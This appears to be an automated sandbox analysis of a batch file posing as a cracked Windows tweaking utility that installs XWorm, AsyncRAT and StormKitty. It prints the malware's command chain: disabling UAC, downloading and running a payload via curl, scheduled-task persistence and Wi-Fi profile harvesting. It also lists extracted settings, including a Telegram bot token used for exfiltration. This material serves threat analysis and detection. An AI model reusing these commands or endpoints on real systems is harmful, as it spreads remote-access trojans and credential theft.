asyncrat | 16431cc14917abeb316e0bc44045440a8f86b7ac4fdd0dce99de6435d493ecca

Analysis

max time kernel
149s
max time network
151s
platform
windows11-21h2_x64
resource
win11-20241007-en
resource tags

arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
submitted
16-10-2024 19:09

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General

Target

EXM_Premium_Tweaking_Utility_1.0_Cracked.bat
Size

672KB
MD5

f9ca73d63fe61c4c401528fb470ce08e
SHA1

584f69b507ddf33985673ee612e6099aff760fb1
SHA256

16431cc14917abeb316e0bc44045440a8f86b7ac4fdd0dce99de6435d493ecca
SHA512

6fd03320ec84baf09a16a127c2c0ed3c265906fcb1a3b807c13001e775c396b66539238392438a8f290be04b8b8684050736331f8f99dbe8b868b44f154dd9de
SSDEEP

3072:BIGzQbmbkAqA2xH7VkKEn14IZVvisLur+K3:BIGiVNEn14IZVvisL43

Score

10^/10

asyncrat stormkitty xworm default discovery evasion execution persistence privilege_escalation rat spyware stealer trojan

Malware Config

Extracted

Family

xworm

Attributes

Install_directory
%LocalAppData%
install_file
USB.exe
pastebin_url
https://pastebin.com/raw/ZnhxAV6a
telegram
https://api.telegram.org/bot7538644364:AAHEMV7mmxz6PSRgzo0ORf3_n0BaazmrAqk/sendMessage?chat_id=7541917888

Extracted

Family

asyncrat

Botnet

Default

127.0.0.1:6606

127.0.0.1:7707

127.0.0.1:8808

https://api.telegram.org/bot7538644364:AAHEMV7mmxz6PSRgzo0ORf3_n0BaazmrAqk/sendMessage?chat_id=7541917888

Mutex

AsyncMutex_6SI8OkPnk

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Detect Xworm Payload 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\msedge.exe	family_xworm
behavioral1/memory/3176-132-0x00000000004E0000-0x000000000050A000-memory.dmp	family_xworm

StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\svchost.exe	family_stormkitty
behavioral1/memory/3884-137-0x0000000000C50000-0x0000000000C8E000-memory.dmp	family_stormkitty

UAC bypass 3 TTPs 1 IoCs
evasion trojan

Bypass User Account Control
T1548.002

Disable or Modify Tools
T1562.001

Modify Registry
T1112

Processes:

reg.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" reg.exe
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Async RAT payload 1 IoCs

rat

Processes:

resource	yara_rule
C:\Users\Admin\svchost.exe	family_asyncrat

Drops startup file 2 IoCs

Processes:

msedge.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msedge.lnk	msedge.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msedge.lnk	msedge.exe

Executes dropped EXE 4 IoCs

Processes:

EXMservice.exemsedge.exesvchost.exemsedge.exe

pid process

4672 EXMservice.exe
3176 msedge.exe
3884 svchost.exe
2280 msedge.exe
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

pid	process
4672	EXMservice.exe
3176	msedge.exe
3884	svchost.exe
2280	msedge.exe

Drops desktop.ini file(s) 8 IoCs

Processes:

svchost.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Local\87a17d6aa5d0e6ff7002ece7f0875e91\Admin@OZYSBZXK_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\Camera Roll\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Local\87a17d6aa5d0e6ff7002ece7f0875e91\Admin@OZYSBZXK_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\Saved Pictures\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Local\87a17d6aa5d0e6ff7002ece7f0875e91\Admin@OZYSBZXK_en-US\Grabber\DRIVE-C\Users\Admin\Desktop\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Local\87a17d6aa5d0e6ff7002ece7f0875e91\Admin@OZYSBZXK_en-US\Grabber\DRIVE-C\Users\Admin\Desktop\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Local\87a17d6aa5d0e6ff7002ece7f0875e91\Admin@OZYSBZXK_en-US\Grabber\DRIVE-C\Users\Admin\Documents\desktop.ini	svchost.exe
File opened for modification	C:\Users\Admin\AppData\Local\87a17d6aa5d0e6ff7002ece7f0875e91\Admin@OZYSBZXK_en-US\Grabber\DRIVE-C\Users\Admin\Documents\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Local\87a17d6aa5d0e6ff7002ece7f0875e91\Admin@OZYSBZXK_en-US\Grabber\DRIVE-C\Users\Admin\Pictures\desktop.ini	svchost.exe
File created	C:\Users\Admin\AppData\Local\87a17d6aa5d0e6ff7002ece7f0875e91\Admin@OZYSBZXK_en-US\Grabber\DRIVE-C\Users\Admin\Downloads\desktop.ini	svchost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

51 pastebin.com
54 pastebin.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

51 icanhazip.com
Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

1000 powershell.exe
904 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	ioc
51	pastebin.com
54	pastebin.com

flow	ioc
51	icanhazip.com

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

Processes:

netsh.exenetsh.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

netsh.execmd.exechcp.comnetsh.exesvchost.execmd.exechcp.comfindstr.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	chcp.com
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
discovery

Wi-Fi Discovery
T1016.002

Processes:

cmd.exenetsh.exe

pid process

904 cmd.exe
3396 netsh.exe

pid	process
904	cmd.exe
3396	netsh.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

svchost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	svchost.exe

Modifies registry class 4 IoCs

Processes:

BackgroundTransferHost.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3587106988-279496464-3440778474-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Content\CachePrefix	BackgroundTransferHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3587106988-279496464-3440778474-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:"	BackgroundTransferHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3587106988-279496464-3440778474-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:"	BackgroundTransferHost.exe
Key created	\REGISTRY\USER\S-1-5-21-3587106988-279496464-3440778474-1000_Classes\Local Settings\MuiCache	BackgroundTransferHost.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exe

pid process

1476 schtasks.exe
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

msedge.exe

pid process

3176 msedge.exe

pid	process
1476	schtasks.exe

pid	process
3176	msedge.exe

Suspicious behavior: EnumeratesProcesses 28 IoCs

Processes:

powershell.exepowershell.exesvchost.exemsedge.exe

pid	process
1000	powershell.exe
1000	powershell.exe
904	powershell.exe
904	powershell.exe
3884	svchost.exe
3884	svchost.exe
3884	svchost.exe
3884	svchost.exe
3884	svchost.exe
3884	svchost.exe
3884	svchost.exe
3884	svchost.exe
3884	svchost.exe
3884	svchost.exe
3884	svchost.exe
3884	svchost.exe
3884	svchost.exe
3176	msedge.exe
3176	msedge.exe
3884	svchost.exe
3884	svchost.exe
3884	svchost.exe
3884	svchost.exe
3884	svchost.exe
3884	svchost.exe
3884	svchost.exe
3884	svchost.exe
3884	svchost.exe

Suspicious use of AdjustPrivilegeToken 48 IoCs

Processes:

powershell.exeWMIC.exepowershell.exemsedge.exesvchost.exemsedge.exe

description	pid	process
Token: SeDebugPrivilege	1000	powershell.exe
Token: SeIncreaseQuotaPrivilege	3168	WMIC.exe
Token: SeSecurityPrivilege	3168	WMIC.exe
Token: SeTakeOwnershipPrivilege	3168	WMIC.exe
Token: SeLoadDriverPrivilege	3168	WMIC.exe
Token: SeSystemProfilePrivilege	3168	WMIC.exe
Token: SeSystemtimePrivilege	3168	WMIC.exe
Token: SeProfSingleProcessPrivilege	3168	WMIC.exe
Token: SeIncBasePriorityPrivilege	3168	WMIC.exe
Token: SeCreatePagefilePrivilege	3168	WMIC.exe
Token: SeBackupPrivilege	3168	WMIC.exe
Token: SeRestorePrivilege	3168	WMIC.exe
Token: SeShutdownPrivilege	3168	WMIC.exe
Token: SeDebugPrivilege	3168	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3168	WMIC.exe
Token: SeRemoteShutdownPrivilege	3168	WMIC.exe
Token: SeUndockPrivilege	3168	WMIC.exe
Token: SeManageVolumePrivilege	3168	WMIC.exe
Token: 33	3168	WMIC.exe
Token: 34	3168	WMIC.exe
Token: 35	3168	WMIC.exe
Token: 36	3168	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3168	WMIC.exe
Token: SeSecurityPrivilege	3168	WMIC.exe
Token: SeTakeOwnershipPrivilege	3168	WMIC.exe
Token: SeLoadDriverPrivilege	3168	WMIC.exe
Token: SeSystemProfilePrivilege	3168	WMIC.exe
Token: SeSystemtimePrivilege	3168	WMIC.exe
Token: SeProfSingleProcessPrivilege	3168	WMIC.exe
Token: SeIncBasePriorityPrivilege	3168	WMIC.exe
Token: SeCreatePagefilePrivilege	3168	WMIC.exe
Token: SeBackupPrivilege	3168	WMIC.exe
Token: SeRestorePrivilege	3168	WMIC.exe
Token: SeShutdownPrivilege	3168	WMIC.exe
Token: SeDebugPrivilege	3168	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3168	WMIC.exe
Token: SeRemoteShutdownPrivilege	3168	WMIC.exe
Token: SeUndockPrivilege	3168	WMIC.exe
Token: SeManageVolumePrivilege	3168	WMIC.exe
Token: 33	3168	WMIC.exe
Token: 34	3168	WMIC.exe
Token: 35	3168	WMIC.exe
Token: 36	3168	WMIC.exe
Token: SeDebugPrivilege	904	powershell.exe
Token: SeDebugPrivilege	3176	msedge.exe
Token: SeDebugPrivilege	3884	svchost.exe
Token: SeDebugPrivilege	3176	msedge.exe
Token: SeDebugPrivilege	2280	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

msedge.exe

pid process

3176 msedge.exe

pid	process
3176	msedge.exe

Suspicious use of WriteProcessMemory 58 IoCs

Processes:

cmd.execmd.exeEXMservice.exemsedge.exesvchost.execmd.execmd.exe

description	pid	process	target process
PID 3188 wrote to memory of 1404	3188	cmd.exe	reg.exe
PID 3188 wrote to memory of 1404	3188	cmd.exe	reg.exe
PID 3188 wrote to memory of 3172	3188	cmd.exe	reg.exe
PID 3188 wrote to memory of 3172	3188	cmd.exe	reg.exe
PID 3188 wrote to memory of 5068	3188	cmd.exe	reg.exe
PID 3188 wrote to memory of 5068	3188	cmd.exe	reg.exe
PID 3188 wrote to memory of 1000	3188	cmd.exe	powershell.exe
PID 3188 wrote to memory of 1000	3188	cmd.exe	powershell.exe
PID 3188 wrote to memory of 1964	3188	cmd.exe	reg.exe
PID 3188 wrote to memory of 1964	3188	cmd.exe	reg.exe
PID 3188 wrote to memory of 1120	3188	cmd.exe	reg.exe
PID 3188 wrote to memory of 1120	3188	cmd.exe	reg.exe
PID 3188 wrote to memory of 1432	3188	cmd.exe	cmd.exe
PID 3188 wrote to memory of 1432	3188	cmd.exe	cmd.exe
PID 1432 wrote to memory of 3168	1432	cmd.exe	WMIC.exe
PID 1432 wrote to memory of 3168	1432	cmd.exe	WMIC.exe
PID 1432 wrote to memory of 892	1432	cmd.exe	findstr.exe
PID 1432 wrote to memory of 892	1432	cmd.exe	findstr.exe
PID 3188 wrote to memory of 4836	3188	cmd.exe	chcp.com
PID 3188 wrote to memory of 4836	3188	cmd.exe	chcp.com
PID 3188 wrote to memory of 2204	3188	cmd.exe	chcp.com
PID 3188 wrote to memory of 2204	3188	cmd.exe	chcp.com
PID 3188 wrote to memory of 1868	3188	cmd.exe	curl.exe
PID 3188 wrote to memory of 1868	3188	cmd.exe	curl.exe
PID 3188 wrote to memory of 904	3188	cmd.exe	powershell.exe
PID 3188 wrote to memory of 904	3188	cmd.exe	powershell.exe
PID 3188 wrote to memory of 4672	3188	cmd.exe	EXMservice.exe
PID 3188 wrote to memory of 4672	3188	cmd.exe	EXMservice.exe
PID 4672 wrote to memory of 3176	4672	EXMservice.exe	msedge.exe
PID 4672 wrote to memory of 3176	4672	EXMservice.exe	msedge.exe
PID 4672 wrote to memory of 3884	4672	EXMservice.exe	svchost.exe
PID 4672 wrote to memory of 3884	4672	EXMservice.exe	svchost.exe
PID 4672 wrote to memory of 3884	4672	EXMservice.exe	svchost.exe
PID 3188 wrote to memory of 3420	3188	cmd.exe	chcp.com
PID 3188 wrote to memory of 3420	3188	cmd.exe	chcp.com
PID 3176 wrote to memory of 1476	3176	msedge.exe	schtasks.exe
PID 3176 wrote to memory of 1476	3176	msedge.exe	schtasks.exe
PID 3884 wrote to memory of 904	3884	svchost.exe	cmd.exe
PID 3884 wrote to memory of 904	3884	svchost.exe	cmd.exe
PID 3884 wrote to memory of 904	3884	svchost.exe	cmd.exe
PID 904 wrote to memory of 2768	904	cmd.exe	chcp.com
PID 904 wrote to memory of 2768	904	cmd.exe	chcp.com
PID 904 wrote to memory of 2768	904	cmd.exe	chcp.com
PID 904 wrote to memory of 3396	904	cmd.exe	netsh.exe
PID 904 wrote to memory of 3396	904	cmd.exe	netsh.exe
PID 904 wrote to memory of 3396	904	cmd.exe	netsh.exe
PID 904 wrote to memory of 2416	904	cmd.exe	findstr.exe
PID 904 wrote to memory of 2416	904	cmd.exe	findstr.exe
PID 904 wrote to memory of 2416	904	cmd.exe	findstr.exe
PID 3884 wrote to memory of 556	3884	svchost.exe	cmd.exe
PID 3884 wrote to memory of 556	3884	svchost.exe	cmd.exe
PID 3884 wrote to memory of 556	3884	svchost.exe	cmd.exe
PID 556 wrote to memory of 2920	556	cmd.exe	chcp.com
PID 556 wrote to memory of 2920	556	cmd.exe	chcp.com
PID 556 wrote to memory of 2920	556	cmd.exe	chcp.com
PID 556 wrote to memory of 3588	556	cmd.exe	netsh.exe
PID 556 wrote to memory of 3588	556	cmd.exe	netsh.exe
PID 556 wrote to memory of 3588	556	cmd.exe	netsh.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\EXM_Premium_Tweaking_Utility_1.0_Cracked.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3188

C:\Windows\system32\reg.exe
Reg.exe delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SystemRestore" /v "RPSessionInterval" /f
2⤵
PID:1404

C:\Windows\system32\reg.exe
Reg.exe delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SystemRestore" /v "DisableConfig" /f
2⤵
PID:3172

C:\Windows\system32\reg.exe
Reg.exe add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\SystemRestore" /v "SystemRestorePointCreationFrequency" /t REG_DWORD /d 0 /f
2⤵
PID:5068

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ExecutionPolicy Unrestricted -NoProfile Enable-ComputerRestore -Drive 'C:\'
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1000

C:\Windows\system32\reg.exe
Reg.exe ADD "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t REG_DWORD /d "0" /f
2⤵
- UAC bypass
PID:1964

C:\Windows\system32\reg.exe
Reg.exe add "HKCU\CONSOLE" /v "VirtualTerminalLevel" /t REG_DWORD /d "1" /f
2⤵
PID:1120

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic path Win32_UserAccount where name="Admin" get sid | findstr "S-"
2⤵
- Suspicious use of WriteProcessMemory
PID:1432

C:\Windows\System32\Wbem\WMIC.exe
wmic path Win32_UserAccount where name="Admin" get sid
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3168

C:\Windows\system32\findstr.exe
findstr "S-"
3⤵
PID:892

C:\Windows\system32\chcp.com
chcp 65001
2⤵
PID:4836

C:\Windows\system32\chcp.com
chcp 437
2⤵
PID:2204

C:\Windows\system32\curl.exe
curl -g -k -L -# -o "C:\Users\Admin\AppData\Local\Temp\exm.zip" "https://github.com/anonyketa/EXM-Tweaking-Utility-Premium/releases/download/V1.0/exm.zip"
2⤵
PID:1868

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -NoProfile Expand-Archive 'C:\Users\Admin\AppData\Local\Temp\exm.zip' -DestinationPath 'C:\Exm\'
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:904

C:\exm\EXMservice.exe
EXMservice.exe
2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4672

C:\Users\Admin\msedge.exe
"C:\Users\Admin\msedge.exe"
3⤵
- Drops startup file
- Executes dropped EXE
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3176

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "msedge" /tr "C:\Users\Admin\AppData\Local\msedge.exe"
4⤵
- Scheduled Task/Job: Scheduled Task
PID:1476

C:\Users\Admin\svchost.exe
"C:\Users\Admin\svchost.exe"
3⤵
- Executes dropped EXE
- Drops desktop.ini file(s)
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3884

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C chcp 65001 && netsh wlan show profile | findstr All
4⤵
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Wi-Fi Discovery
- Suspicious use of WriteProcessMemory
PID:904

C:\Windows\SysWOW64\chcp.com
chcp 65001
5⤵
- System Location Discovery: System Language Discovery
PID:2768

C:\Windows\SysWOW64\netsh.exe
netsh wlan show profile
5⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Wi-Fi Discovery
PID:3396

C:\Windows\SysWOW64\findstr.exe
findstr All
5⤵
- System Location Discovery: System Language Discovery
PID:2416

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /C chcp 65001 && netsh wlan show networks mode=bssid
4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:556

C:\Windows\SysWOW64\chcp.com
chcp 65001
5⤵
- System Location Discovery: System Language Discovery
PID:2920

C:\Windows\SysWOW64\netsh.exe
netsh wlan show networks mode=bssid
5⤵
- Event Triggered Execution: Netsh Helper DLL
- System Location Discovery: System Language Discovery
PID:3588

C:\Windows\system32\chcp.com
chcp 65001
2⤵
PID:3420

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s NPSMSvc
1⤵
PID:3744

C:\Windows\system32\BackgroundTransferHost.exe
"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.13
1⤵
- Modifies registry class
PID:3100

C:\Users\Admin\AppData\Local\msedge.exe
C:\Users\Admin\AppData\Local\msedge.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2280

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Wi-Fi Discovery

T1016.002

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\87a17d6aa5d0e6ff7002ece7f0875e91\Admin@OZYSBZXK_en-US\Browsers\Firefox\Bookmarks.txt

Filesize
105B

MD5
2e9d094dda5cdc3ce6519f75943a4ff4

SHA1
5d989b4ac8b699781681fe75ed9ef98191a5096c

SHA256
c84c98bbf5e0ef9c8d0708b5d60c5bb656b7d6be5135d7f7a8d25557e08cf142

SHA512
d1f7eed00959e902bdb2125b91721460d3ff99f3bdfc1f2a343d4f58e8d4e5e5a06c0c6cdc0379211c94510f7c00d7a8b34fa7d0ca0c3d54cbbe878f1e9812b7

Download Submit
C:\Users\Admin\AppData\Local\87a17d6aa5d0e6ff7002ece7f0875e91\Admin@OZYSBZXK_en-US\System\Process.txt

Filesize
4KB

MD5
27d8714a3a8175bfc2c16ae941428559

SHA1
a0da95712e0e9caaf6cac8e885b0ef4078071810

SHA256
f0f3a25a1b51857c171f98e3c073cdd9a7cdee436423dfc98e5fb307e5d134a7

SHA512
1379fdb4f35ae4720fde90c97b42c026bfd8e3f4e67202153f9b1b2688c6183f5f74fa20fc02e79bede1d550ee27ed2abb1c3bde2b44195d2d7def88f09a5117

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
88dc70c361a22feac57b031dd9c1f02f

SHA1
a9b4732260c2a323750022a73480f229ce25d46d

SHA256
43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59

SHA512
19c0532741ebc9751390e6c5ca593a81493652f25c74c8cab29a8b5b1f1efef8d511254a04f50b0c4a20724bae10d96d52af7a76b0c85ddc5f020d4cac41100c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
1a11402783a8686e08f8fa987dd07bca

SHA1
580df3865059f4e2d8be10644590317336d146ce

SHA256
9b1d1b468932a2d88548dc18504ac3066f8248079ecb083e919460bdb88398c0

SHA512
5f7f9f76d9d12a25fdc5b8d193391fb42c37515c657250fe01a9bfd9fe4cc4eab9d5ec254b2596ac1b9005f12511905f19fdae41f057062261d75bd83254b510

Download Submit
C:\Users\Admin\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\BackgroundTransferApi\918001b7-1f04-41b0-a75b-da4beedce790.down_data

Filesize
555KB

MD5
5683c0028832cae4ef93ca39c8ac5029

SHA1
248755e4e1db552e0b6f8651b04ca6d1b31a86fb

SHA256
855abd360d8a8d6974eba92b70cbd09ce519bc8773439993f9ab37cb6847309e

SHA512
aba434bd29be191c823b02ea9b639beb10647bbe7759bbffdaa790dfb1ec2c58d74c525ef11aacda209e4effe322d1d3a07b115446c8914b07a3bce4d8a0e2c3

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1vr2mfr1.tnm.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\exm.zip

Filesize
13.3MB

MD5
57a6527690625bea4e4f668e7db6b2aa

SHA1
c5799fd94999d128203e81e22c6d9fdb86e167ee

SHA256
076e01b09f9c5cccc273b2f7dfa1a1efccc1a8e8ebf98a7eee756024b93bad17

SHA512
d86c7f79989eb0781e15f8631048506ffab338f933ddfedbcc2c7464447770beaf21b7ed3cba2ebb97be5ffdc9a450f2df2e2313efaeb8e8101f2ee53c066e4e

Download Submit
C:\Users\Admin\AppData\Local\b1654ee661bfd6b02cd0f7e902960f1f\msgid.dat

Filesize
5B

MD5
e0f96ed59ac42c9e24434ab977bc8ae5

SHA1
0d3954ac1dcc56d75672701cd71434d6e749d59c

SHA256
3274f94809103d85cfa3b4fee0b4e92523accd3ff6c02072c1beaeea149faf70

SHA512
d4ed1aadcce817ebfd29d4d3f004f25413a09cd816240eb4f498a15cfdd0679e66df68d2c41470b774eab3529fb3337ce57311a05c323e8609ae076850d3e47b

Download Submit
C:\Users\Admin\msedge.exe

Filesize
146KB

MD5
f1c2525da4f545e783535c2875962c13

SHA1
92bf515741775fac22690efc0e400f6997eba735

SHA256
9e6985fdb3bfa539f3d6d6fca9aaf18356c28a00604c4f961562c34fa9f11d0f

SHA512
56308ac106caa84798925661406a25047df8d90e4b65b587b261010293587938fa922fbb2cfdedfe71139e16bfcf38e54bb31cbcc00cd244db15d756459b6133

Download Submit
C:\Users\Admin\svchost.exe

Filesize
226KB

MD5
1bea6c3f126cf5446f134d0926705cee

SHA1
02c49933d0c2cc068402a93578d4768745490d58

SHA256
1d69b5b87c4cd1251c5c94461a455659febb683eab0ebd97dd30da2319ffc638

SHA512
eb9f423f6adb5e686a53f5f197e6b08455f8048d965a9ec850838fdf4724ef87f68945c435ace5a48a9a7226006a348e97586335d0246ea0dc898a412dea5df3

Download Submit
C:\exm\EXMservice.exe

Filesize
12.0MB

MD5
aab9c36b98e2aeff996b3b38db070527

SHA1
4c2910e1e9b643f16269a2e59e3ada80fa70e5fa

SHA256
